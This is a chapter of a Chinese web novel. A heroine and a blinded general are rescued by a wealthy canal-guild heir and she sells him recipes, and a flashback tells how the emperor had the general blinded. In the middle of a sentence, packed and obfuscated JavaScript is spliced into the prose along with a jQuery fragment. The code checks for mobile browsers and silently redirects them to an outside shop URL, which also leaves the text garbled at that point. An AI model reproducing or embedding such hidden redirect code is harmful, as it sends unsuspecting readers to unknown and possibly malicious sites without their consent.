落在地面,昨日在船上遇到的少年正站在面前,他背后跟着一群统一着装的大汉,光个头气息都是练家子。
“汪!”
曜曜从他怀中探出头,抖了抖身子,被朱红的小褂衬托地格外喜庆,陆昭云嘴角抽了抽。
虽然曜曜被他照顾得很好,但是她对此人也并非完全信任。
察觉到她眼里的防备,少年小跑奔过来,主动将曜曜塞给秦遇,不舍得看了好几眼,才拱手道:
“恩人莫怪,我不是跟踪你。只是怕你们落在荒凉之地,回去不方便。昨日你与这位公子落水后,家中护卫寻到我,我便带着他们一路沿着运河往下找到此处。”
“你看,这是我特意让家里备好的小船,可送你们离开。”怕他们不相信,他指了指身后的方向。
昨日二人已经探清四处地貌,这里可以说是绝地,浅滩深处是崖壁,那里高耸入云,异常险峻。想要通往外界,只有从水路离开。
最终,陆昭云和秦遇计划今日自制一个简易竹筏,再找到附近的港口,只是运河有急有缓,极有可能遇到危险。
如今有人提前送来援助,正好解她燃眉之急。
“多谢。”陆昭云看向那艘船,额角青筋跳了跳。
这船比他们先前乘坐的福船大上三倍不止,不知此人是从哪里窜出来的土豪。
少年袖中滑出一把折扇,“唰”地一下展开。他笑盈盈道:
“恩人哪里的话,微末帮扶,远不及你救命之恩。”
“在下萧珏,敢问恩人贵姓?”少年脸上还带点婴儿肥,眼神干净清澈,纯粹又天真。陆昭云心中防备淡了些,她回:“我姓陆。”
“陆姑娘好。”萧珏轻摇折扇,又问道:“你身旁这位公子呢?”
“慕。”秦遇神情冷淡,往陆昭云身侧靠近了些。萧珏扬了扬眉,折扇遮住下半张脸,视线在二人间转了一圈后,他抬手道:
“二位请跟我来。”
登船后,视野扩大,陆昭云感觉她和秦遇被船衬托得格外渺小。
这艘船足有三层,大小上百个房间。船上设施集齐衣食住行所需,人员也配备不少,能随时供应热水。萧珏特意差人为他们准备了新的衣物,二人洗去在河水中浸染的污垢,也洗去露宿野外一夜的疲惫。
一柱香后,一个微胖的管事带他们走进一间厢房。
陆昭云和秦遇落座后,坐在上方的萧珏拍手,一队侍女踏着莲步鱼贯而入,在二人桌上放下果盘茶水。
最后一个侍女递上两个包袱,陆昭云一看,正是他们先前遗失在福船上的。
她接过收好,道谢后问道:“昨日我们离去后,是否有新的水匪上船?余下的船客们可安好?”
萧珏身旁站着的胖管事眯眼笑道。
“贵客放心,您有所不知,我家公子乃漕帮少帮主。他们敢伤我家公子,自是有命来无命回。”
“至于您挂念的船客们,此次因遭遇水匪掠夺,损失极大。虽然贵客杀死了部分水匪,但有很多水匪带着船客的盘缠逃走了。好在我漕帮帮主心善,主动帮忙将伤亡人员送往官府,同时将余下船客送至最近的港口,没让他们花一文铜钱。”
“漕帮帮主大义。”陆昭云赞道。
原来这少年出身漕帮,难怪如此有钱。听闻萧家漕帮延续五代,历经五朝。每一代帮主皆为擅钻营的人物,几代下来,萧家俨然积累庞大根基,几乎掌控整条运河的运输经营。
看着管事财大气粗、与有荣焉的模样,又想起自己靠手艺和方子赚点幸苦钱,陆昭云都想和这些有钱人拼了。
她感受到世界的参差,忍不住调侃,“哦,萧公子既是少帮主,为何昨日独自一人乘坐寻常福船,结果被那水匪掳走?”
萧珏不好意思地摸摸鼻子,倒是不避讳讲缘由。
“说来惭愧,近日家中为我定下一门亲事。但我尚未做好成亲的准备,又听闻那姑娘家中显赫却性子泼辣,恐不能应对,便生了退意。”
“家中逼迫得紧,无奈只能偷溜出来。谁知那般倒霉,就这一次没带护卫,恰好遇上水匪袭船,我又不通武艺,才遭此劫难。最后只能仰仗陆姑娘相救。”
背后原因倒是清新脱俗,原是恐婚的少年郎。
由着这个开头,两人打开话匣子,竟发现意外聊得来。特别是吃饭时,少年兴致极佳,仔细为他们介绍桌上食物的味道、口感、做法甚至食材产地、保鲜方法。
陆昭云同样对这些感兴趣,两人可谓是高山流水遇知音,一番交流后皆有收获。
尽管萧珏年纪轻轻,但对美食颇有研究,算是老饕餮了。
他指着桌上那盘深褐色、表皮发亮的卤鸡爪,道:
“不怕姑娘笑话,我最爱啃卤味鸡爪。卤得烂软,入口即化,嗦一口赛神仙呐,你尝尝看。”
陆昭云笑笑,“那你可吃过果味鸡爪?酸甜与辣味混合,滋味较之有过之而无不及。”
“没有。”萧珏摇摇头,他正了正身子,朝她眨眨眼。
“哦,陆姑娘知道怎么做的?不知我有没有幸品尝。”
没吃过的美食对他而言,相当有吸引力,他爽快扬手。
“任凭姑娘开价。”
话都这么说了,陆昭云伸出一根手指。
“十两银子,我可以做一次,数量不限。”
“成交。”
说做就做,陆昭云就地取材,用船上的鸡爪、茱萸和一种酸味的果子做了柠檬脱骨鸡爪的平替版,萧珏吃了果真欲罢不能。
系统即刻点亮新的美食图鉴。
“十两黄金,方子可愿卖我?”
嘶——
有钱不赚王八蛋,陆昭云二话不说写好方子双手递上。
陆昭云走到甲板上,将做好的鸡爪喂给秦遇,“味道如何?”
秦遇点头,“好吃。”
后面几日,陆昭云故意做了很多新奇美食。这些食物全都是香飘十里,霸道勾人的,勾得萧珏从兜里掏出不少银子。陆昭云摸着大把大把的银子,乐开了花。
期间,秦遇一直寸步不离地跟着,偶尔打打下手。
滁洲。
运河的尽头,漕帮的船最终靠此地,陆昭云二人与萧珏在港口道别。
“感谢箫公子这段时间的款待,多有叨扰。往后,我们有缘再见。”陆昭云掏出一张辣卤鸭脖的方子递给他。
萧珏条件反射地掏钱,陆昭云没接。将方子交给他身旁管事,拉着秦遇远去。
“送你了。”
头一次见她这么大方,萧珏感动坏了。他挥泪送别,直到前方人影消失,他擦了擦眼角,吩咐身旁管事:“给滁洲的据点传信,陆姑娘有任何需要,都要暗中协助。”
......
在水上漂泊数日,多少有些不舒服。陆昭云在滁洲城最大的客栈包了两间上房,和秦遇暂时留宿。
夜里,困意袭来,陆昭云沉沉睡过去。
隔壁,一个黑影翻窗潜入,悄无声息地劫走床上的蒙眼男子。
城西一处宅院。
房间灯火通明,秦遇端坐在紫檀木椅上。一个黑衣少年抱着他的大腿哭得险些喘不过气。
“表哥,你真的还活着,太好了,你还活着......”
秦遇拍拍他的肩膀,无声安慰。
黑衣少年也就是谢临抬头,看着他眼睛上的白纱,眼眶通红,刚抑制住的眼泪又忍不住落下来。
“表哥,你的......”他没敢说出来那两个字,怕伤到秦遇。
是谁伤了他表哥。
想起罪魁祸首,他大声咒骂:“李邺那个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579889|204626||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
狗皇帝,真是个疯子。他不仅要你性命,还用如此阴狠的手段。”
“真是祸害遗千年,阎王爷啊,什么时候能来收了他!”
这段时日,谢家留在京都的暗探早已寻到真相。这些年一步步将秦家赶尽杀绝的幕后推手,正是当今天子。
秦遇自嘲地笑笑。
谁曾想他秦家忠君爱国、镇守边疆,世代为大齐江山卖命,却落得这般下场。
心底恨意翻涌,记忆回到那一日。
宫中举行春日狩猎活动,他与心腹应邀前往,落入一场彻头彻尾的鸿门宴。
即便他有所防备,还是在夜宴中中了药。他从围剿中拼杀出来,又被一波又一波杀手追至悬崖。武功被药力散了大半,杀手杀不尽,最终心腹为护他而死。
杀手中有一人揭开蒙面,脸上的刀疤格外狰狞。他招式阴狠,在他身上砍下数刀,刀刀落在筋骨上。
那人眼里泄出怨毒,狠狠瞪着他。
“秦遇,往日威震一方的镇国将军,也不过如此!”
宛若凌迟般的痛苦,却不能撼动秦遇分毫,他始终面不改色。
“倒是有种。”刀疤面色微滞,而后眼中恨意更甚,“若是他人,我不介意大发慈悲,饶他一条狗命。可你偏偏是秦玄的儿子!你爹造了孽,父债子偿。”
“秦玄啊秦玄,庚辛年你在边关下令,用两百军棍将楼靖生生打死,可曾想过今日,我会送你儿子下去为他偿命!”刀疤脸想到大仇得报,笑得更加肆意。
“哈哈哈,秦遇,进了阴曹地府,见了楼靖记得给他磕头,不过......”他摸了摸刀刃,猩红的舌尖卷走上面的血渍,“送你下去前,先取你身上一样东西。”
刀光一闪。
血液从双目流下,剧烈的疼痛侵占所有感官。
先是刺目的红,而后天地一片黑暗。
那一日,秦遇永远看不见了。
他失去了眼睛。
但是他的父亲,不容诋毁。秦遇极力控制表情,不展现一丝脆弱。“你是楼靖的家人?他贪污军饷、残害将士,死有余辜。”
“我父亲以触犯军纪之罪对其处刑,何错之有?”
“闭嘴。”刀疤脸被戳到痛处,但恶人一向蛮横无理。
“你秦家害死了他,就该死!”
他说着想起了什么,面色愈发古怪,而后狞笑道:
“既然由我送你去地下,便让你当个明白鬼。想不想知道是谁要你的命?又为何要杀你?”
秦遇沉默,无需他说,他早有猜测。
刀疤脸却不打算放过他,恨不得疯狂刺激,让他死不瞑目。
“想不到吧,不是你秦家政敌,也不是敌国奸细,反而是你秦家衷心侍奉几十年的皇室,是坐在龙椅上那个让你卖命的人。”
“再告诉你一个消息,你可知我为何要剜了你的眼睛?”
他问了又自顾自回答。
“要怪就怪你一个大男人,眼睛生得漂亮,惹得皇后多看了几眼。杀你也是怕你抢了他的女人,哈哈哈!谁让你生得一副好皮囊,成了他的眼中钉肉中刺呢?”
秦遇只觉得可笑,他今日方知,李邺残害他一家不是因为功高盖主,竟是如此荒谬的理由。
他与宋君茹,清清白白,从未僭越。
被逼至死路时,秦遇仍心无波澜,可突然知道真相,他生出无边愧疚。原来是他害了他的家人。
年少时的善心跨过时间长河,将他全家拉入地狱,可恨可悲。
凭着不想死后尸体被践踏的那点自尊,他拼着一口气,决绝地跳下悬崖。
也是在那日,他人生中最灰暗的时刻,遇见了他的救赎。
他终于相信,娘亲取名时给予他的祝福。
娘亲说,“秦遇的遇,是遇见的遇。”